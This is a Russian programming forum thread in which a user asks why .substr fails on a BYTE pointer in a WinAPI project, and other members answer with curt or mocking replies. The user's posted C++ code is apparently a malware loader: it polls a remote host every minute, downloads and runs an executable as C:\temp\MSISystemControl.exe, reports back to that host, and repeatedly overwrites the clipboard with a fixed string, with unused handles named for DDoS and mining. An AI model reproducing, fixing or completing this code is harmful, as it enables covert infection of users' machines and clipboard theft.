Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 18.04.2016, 18:50   #1
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию Как дальше жить?

выражение слева от ".length"/".substr" должно представлять класс, структуру или объединение
Почему когда ***** создаю обычное тупое приложение консольное эти .length"/".substr", а когда в оконном с винапи, так ни за что?
По нескольку раз пересоздавал проект в разных формах - консольный и окнонный, в vs 2010 и vs 2008 - ну не работает.
Я больше не знаю что делать, мне нужно обрезать строку (ОБРЕЗАТЬ СТРОКУ!!!!!!!!!!!!!!!!!) И этот цензура длится уже 2-ой день!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Я низнаю что делать, возможна какая-то гамасятина из-за этого stdafx
Низнаю помогут мне или нет, мне уже нет смысла жить.
На string тоже 0 внимания хотя всё объявлено
Код:
#include "StdAfx.h"


#include <windows.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
#include <iostream>
#include <string>
#include <regex>
#include <iterator>
#include <stdio.h>

int SendInfo(char * strurl) {
	HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
	HINTERNET res = hConnect; 
	

	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 
	
	if (res == NULL)
		return 1;
	else
		return 0;
}

VOID GetFileFromUrl(char * strurl) {



	HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );

	// получить размер заголовка
	DWORD  dwInfoLen = 0;
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);

	// прочитать заголовок
	char* sHeadInfo = new char[dwInfoLen];
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);

	// размер файла в байтах
	DWORD dwFileSize =  atoi(sHeadInfo);
	delete [] sHeadInfo;

	// буфер
	BYTE * pFileBuf = new BYTE[dwFileSize];
	BYTE * pBufScan =  pFileBuf;
	//printf("file size: %d\n", dwFileSize);

	// читать
	DWORD dwAval, dwRead;
	while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
	{
		if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
			break;
		if (!dwRead) 
			break;
		pBufScan += dwRead;

		//----
		char e[32];
		//sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
		OutputDebugString(e);
	}
	
	
	/*
	TCHAR b[64], SaveStrise[64];
	_stscanf(strurl, _T("%*[^/]%*2s%*[^/]%*c%63[^/]"), b);
	
	strcat(SaveStrise, "C:\\temp\");
	strcat(SaveStrise, b);
	*/
	char fname[80] = "C:\\temp\\MSISystemControl.exe";
	
	if(remove(fname)) 
		MessageBox(NULL, "Error removing file", " ", MB_OK | MB_ICONERROR);
	
	HANDLE hFile = CreateFile(fname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //FILE_ATTRIBUTE_HIDDEN
	DWORD dww;
	WriteFile(hFile, pFileBuf, dwFileSize, &dww, NULL);
	CloseHandle(hFile);

	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);

	if(CreateProcess(NULL, fname, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
		SendInfo("http://v92939a1.bget.ru/ResDownLoad.php");
	}

	delete [] pFileBuf;
	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 
}
BYTE * GetPageUrl(char * strurl) {



	HINTERNET hSession = InternetOpen("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );

	// получить размер заголовка
	DWORD  dwInfoLen = 0;
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);

	// прочитать заголовок
	char* sHeadInfo = new char[dwInfoLen];
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);

	// размер файла в байтах
	DWORD dwFileSize =  atoi(sHeadInfo);
	delete [] sHeadInfo;

	// буфер
	BYTE * pFileBuf = new BYTE[dwFileSize];
	BYTE * pBufScan =  pFileBuf;
	//printf("file size: %d\n", dwFileSize);

	// читать
	DWORD dwAval, dwRead;
	while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
	{
		if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
			break;
		if (!dwRead) 
			break;
		pBufScan += dwRead;

		//----
		char e[32];
		//sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
		OutputDebugString(e);
	}


	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 

	return pFileBuf;

}

DWORD WINAPI CheckDwonload(PVOID pvParam) {
	while (TRUE) {
	BYTE * res = GetPageUrl("http://v92939a1.bget.ru/index2.php");

	BYTE * res2 = res.substr(0, 17); 


	MessageBox(NULL, (LPCSTR)res2, " ", MB_OK);


	GetFileFromUrl((char *)res2);
	Sleep(60000);
	}

	return 0;
}
DWORD WINAPI WMreplace(PVOID pvParam) {
	while (TRUE)
	{

		char source[] ="R2281377"; 
		//в эту переменную нужно записать текст, который в дальнейшем поместится в буфер обмена
		//запись текста в буфер обмена
		if(OpenClipboard(0))//открываем буфер обмена
		{
			HGLOBAL hgBuffer;
			char* chBuffer;
			EmptyClipboard();/////////
			hgBuffer= GlobalAlloc(GMEM_DDESHARE, sizeof(source)+1);//выделяем память
			chBuffer= (char*)GlobalLock(hgBuffer); //блокируем память
			strcpy(chBuffer, LPCSTR(source));
			GlobalUnlock(hgBuffer);//разблокируем память
			SetClipboardData(CF_TEXT, hgBuffer);//помещаем текст в буфер обмена
			CloseClipboard(); //закрываем буфер обмена
		}

	////Здесь добавить потом



		Sleep(2000);
}
	return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPSTR     lpCmdLine,
	int       nCmdShow)
{
	HANDLE hThreadsWMIDexc, hThreadsHTTPDDos, hThreadsHTTPDDos2, hThreadsUdpDDos, hThreadsTCPDDOS, hThreadsCheckDwonload,  hThreadsOpenWebPage, hThreadsMining;
	DWORD idThreadA,idThreadB,idThreadC, idThreadD, idThreadI, idThreadF, idThreadG, idThreadH;



	int bVal = 0;


	hThreadsCheckDwonload = CreateThread(NULL, 0, CheckDwonload, (PVOID) bVal, 0,  &idThreadF);
	hThreadsWMIDexc = CreateThread(NULL, 0, WMreplace, (PVOID) bVal, 0,  &idThreadA);



	SetThreadPriority(hThreadsCheckDwonload,THREAD_PRIORITY_ABOVE_NORMAL);
	SetThreadPriority(hThreadsWMIDexc,THREAD_PRIORITY_ABOVE_NORMAL);


	WaitForMultipleObjects(1, &hThreadsCheckDwonload, TRUE, INFINITE);

	return 0;
}
stdafx.h
Код:
// stdafx.h: включаемый файл для стандартных системных включаемых файлов
// или включаемых файлов для конкретного проекта, которые часто используются, но
// не часто изменяются
//

#pragma once

#include "targetver.h"

#define WIN32_LEAN_AND_MEAN             // Исключите редко используемые компоненты из заголовков Windows
// Файлы заголовков Windows:
#include <windows.h>

// Файлы заголовков C RunTime
#include <stdlib.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>

#include <stdio.h>

// TODO: Установите здесь ссылки на дополнительные заголовки, требующиеся для программы
ponchic вне форума Ответить с цитированием
Старый 18.04.2016, 18:55   #2
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

в какой строке ошибки то...
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 18.04.2016, 18:57   #3
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,707
По умолчанию

Когда у char-строк были они? Всегда юзали спец. функции. BYTE это unsigned char, да даже по логике странно ему иметь субстр...

Пепел Феникса,
Код:
	BYTE * res = GetPageUrl("http://v92939a1.bget.ru/index2.php");

	BYTE * res2 = res.substr(0, 17);
p51x вне форума Ответить с цитированием
Старый 18.04.2016, 19:05   #4
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию

Цитата:
Сообщение от p51x Посмотреть сообщение
Когда у char-строк были они? Всегда юзали спец. функции. BYTE это unsigned char, да даже по логике странно ему иметь субстр...

Пепел Феникса,
Код:
	BYTE * res = GetPageUrl("http://v92939a1.bget.ru/index2.php");

	BYTE * res2 = res.substr(0, 17);
Да, это так, НО ВОПРОС ПРО ТО ***** ЭТОТ ****** КОМПИЛЯТОР херню творит. Я ему ВСЕ библиотеки подключаю, не отмечаю галочку "пустой проект", а в ответ ведро говна в лиццо

Последний раз редактировалось Alex11223; 18.04.2016 в 19:16.
ponchic вне форума Ответить с цитированием
Старый 18.04.2016, 19:07   #5
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию

Пожалуйста! помогите!!!КСтати когда я пытаплся использовать regex тоже обосрал типо ничо необявляно и нету точки запятой

Последний раз редактировалось ponchic; 18.04.2016 в 19:10.
ponchic вне форума Ответить с цитированием
Старый 18.04.2016, 19:14   #6
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Потому что надо изучить Си и С++ перед тем как писать на них. Или другой язык взять если не осилили.
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 18.04.2016, 21:01   #7
Smitt&Wesson
Старожил
 
Аватар для Smitt&Wesson
 
Регистрация: 31.05.2010
Сообщений: 13,543
По умолчанию

[QUOTE=Alex11223;1598527 Или другой язык взять если не осилили.[/QUOTE]Классно сказано ++
Пиши пьяным, редактируй трезвым.
Справочник по алгоритмам С++ Builder
Smitt&Wesson вне форума Ответить с цитированием
Старый 28.04.2016, 18:36   #8
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
Подмигивание

Цитата:
Сообщение от Alex11223 Посмотреть сообщение
Потому что надо изучить Си и С++ перед тем как писать на них. Или другой язык взять если не осилили.
Цитата:
Сообщение от Smitt&Wesson Посмотреть сообщение
Классно сказано ++
Всем спасибо за адекватную помощь! После этих слов сразу же за пять минут написал улучшенную Visual Stidio 2025. Теперь этот форум мне не нужен. Можете банить
ponchic вне форума Ответить с цитированием
Старый 28.04.2016, 18:41   #9
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Ты в курсе, что в VS есть не только С++?
И что никто не обещал, что на С++ и винапи просто писать.
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 28.04.2016, 19:20   #10
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию

Цитата:
Сообщение от Alex11223 Посмотреть сообщение
Ты в курсе, что в VS есть не только С++?
И что никто не обещал, что на С++ и винапи просто писать.
У меня код который должен работать но не работает, как ты поступишь?
ponchic вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
А как жить без Python ? У нас явно не хватает ветки. pompiduskus Свободное общение 23 12.08.2014 23:24
Как жить без визуального редактора? Newbabe Свободное общение 6 07.10.2011 23:14
Как будем жить? С.М.С Свободное общение 138 18.08.2011 10:29
Если Вам скажут, что Вам жить 2 года, как вы будете жить? grenles Свободное общение 51 15.11.2010 21:59
Как, и зачем жить? kolobok1000 Свободное общение 28 18.11.2009 20:57